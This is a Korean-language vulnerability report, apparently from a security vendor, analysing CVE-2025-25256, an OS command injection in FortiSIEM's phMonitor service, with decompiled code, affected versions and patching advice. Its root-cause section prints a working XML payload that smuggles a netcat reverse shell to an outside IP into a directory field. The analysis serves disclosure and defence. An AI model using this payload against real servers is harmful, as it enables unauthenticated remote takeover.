1. 개요
본 보고서는 FortiSIEM phMonitor모듈의 CVE-2025-25256 원격 코드 실행 취약점에 대해 다룬다. 인증되지 않은 공격자가 네트워크로 조작된 TCP 패킷을 전송해 임의의 원격 명령을 실행할 수 있다.
CVE-2025-25256 취약점은 현재 PoC 코드가 공개되어 In-the-Wild에서 활발히 악용될 가능성이 높기 때문에 즉시 보안 업데이트를 적용해야 한다.
본 보고서는 CVE-2025-25256 취약점의 근본 원인을 심층 분석하고, 이에 대한 방어 및 완화 전략을 제시한다.
2. 취약점 근본 원인 분석
항목 | 내용 |
취약점 번호 | CVE-2025-25256 |
취약점 이름 | FortiSIEM Command Injection Vulnerability |
CWE | Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection') |
취약점 영향 | Remote Code Execution |
CVSS 3.1 | 9.8(CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H) |
CVE-2025-25256 취약점은 FortiSIEM의 phMonitor 모듈에서 발생한다. phMonitor 모듈은 FortiSIEM 솔루션의 프로세스들을 모니터링 하는데, TCP 7900 포트에서 TLS로 래핑된 커스텀 RPC 프로토콜을 사용한다. phMonitor의 함수인 phMonitorProcess::handleStorageArchiveRequest() 에서 부적절한 특수문자 이스케이프 처리로 Command Injection 취약점이 발생했다.
__int64 __fastcall phMonitorProcess::handleStorageArchiveRequest(
phMonitorProcess *event_id,
int a2,
unsigned int a3,
void *a4,
const char *a5,
void *a6,
phSockStream *a7)
{
// ...
while ( v52 != (void **)&requested_time );
a6 = v51;
LODWORD(v87) = (_DWORD)event_id;
ShellCmd::addParaSafe(&v129, &archive_nfs_server_ip);
ShellCmd::addParaSafe(&v129, &archive_nfs_archive_dir);
// ...
}
C++
복사
handleStorageArchiveRequest() 함수 코드의 일부
handleStorageArchiveRequest는 ShellCmd::addParaSafe() 함수를 통해 입력된 XML 문서를 필터링 했다. 하지만, 이 함수는 단순히 따옴표를 이스케이프 처리하는 함수로 Command Injection에 취약하다.
<root>
<archive_storage_type>nfs</archive_storage_type>
<archive_nfs_server_ip>127.0.0.1</archive_nfs_server_ip>
<archive_nfs_archive_dir>`nc${IFS}192.168.111.111${IFS}1337-e${IFS}/bin/bash`</archive_nfs_archive_dir>
<scope>local</scope>
</root>
XML
복사
Command Injection을 유발하는 XML 페이로드
handleStorageArchiveRequest 는 archive_storage_type 이 nfs일 때 archive_nfs_archive_dir 필드를 파싱해 명령어를 실행한다. 위 페이로드로 인해 실행되는 최종 명령은 아래와 같다
/opt/phoenix/deployment/jumpbox/datastore.py nfs test 127.0.0.1 nc${IFS}192.168.111.111${IFS}1337-e${IFS}/bin/bash archive
Plain Text
복사
Command Injection으로 인해 실행되는 명령
취약점이 패치된 버전에서는 ShellCmd::addParamSafe() 함수가 다음 두 개의 함수로 대체되었다.
•
ShellCmd::addHostnameOrIpParam()
•
ShellCmd::addDiskPathParam()
3. 시연 영상
CVE-2025-25256 시연 영상
4. 공격 영향
본 취약점을 성공적으로 악용할 경우, 공격자는 FortiSIEM 서버를 제어할 수 있으며, 이는 다음과 같은 심각한 위협으로 이어질 수 있다.
•
시스템 장악: 공격자는 서버의 데이터에 접근하고 시스템 설정을 임의로 변경하는 등 제어 권한을 획득할 수 있다.
•
추가 악성코드 감염: 랜섬웨어를 통해 데이터를 암호화하거나, 암호화폐 채굴 악성코드를 설치하여 시스템 자원을 무단으로 사용, 트로이 목마 악성코드를 설치해 민감한 데이터를 유출하는 등 추가적인 악성 행위가 가능하다.
•
네트워크 수평 이동: 공격자는 감염된 서버를 교두보로 삼아, 동일 네트워크에 연결된 다른 내부 시스템을 공격하는 수평 이동(Lateral Movement)을 시도할 수 있다.
5. 완화 및 권고사항
Product | 취약점 영향 버전 |
FortiSIEM | 7.3.0 ~ 7.3.1 |
FortiSIEM | 7.2.0 ~ 7.2.5 |
FortiSIEM | 7.1.0 ~ 7.1.7 |
FortiSIEM | 7.0.0 ~ 7.0.3 |
FortiSIEM | 6.7.0 ~ 6.7.9 |
FortiSIEM | 6.6 모든 버전 |
FortiSIEM | 6.5 모든 버전 |
FortiSIEM | 6.4 모든 버전 |
FortiSIEM | 6.3 모든 버전 |
FortiSIEM | 6.2 모든 버전 |
FortiSIEM | 6.1 모든 버전 |
FortiSIEM | 5.4 모든 버전 |
1.
즉각적인 보안 업데이트 적용: 본 보고서에서 분석한 취약점에 해당하는 FortiSIEM 버전은 위의 표에 명시된 바와 같다. 해당 버전의 FortiSIEM을 사용 중인 시스템은 즉시 보안 업데이트를 적용해야 한다.
2.
IDS/IPS를 통한 네트워크 접근 제어 및 공격 표면 감소: 가능하다면 FortiSIEM의 서비스 포트(TCP/7900, …)은 신뢰할 수 있는 네트워크 대역에서만 접근 가능하도록 방화벽 정책을 강화해 공격 표면을 감소 시켜야 한다. FortiSIEM 서비스를 인터넷에 직접 노출 시키는 것은 본 취약점 외에도 예측하지 못한 다른 보안 위협에 시스템을 노출 시킬 수 있다.
5. 결론
CVE-2025-25256은 입력 값의 부적절한 특수 문자 처리로 인해 발생한 OS 명령 실행(원격 코드 실행) 취약점이다.
당사의 솔루션인 PurpleHound는 실전 기반 시나리오를 재구성하여 기업이 보유한 보안 장비와 시스템이 실제 공격에 얼마나 효과적으로 대응 가능한지 검증할 수 있도록 지원한다.
본 보고서에서 분석한 취약점 뿐만 아니라 다른 유형의 취약점, 악성코드 활동, 파일 시스템 조작 등 다양한 위협 시나리오를 직접 실행해보며 보안 인프라의 실효성을 객관적으로 확인할 수 있다


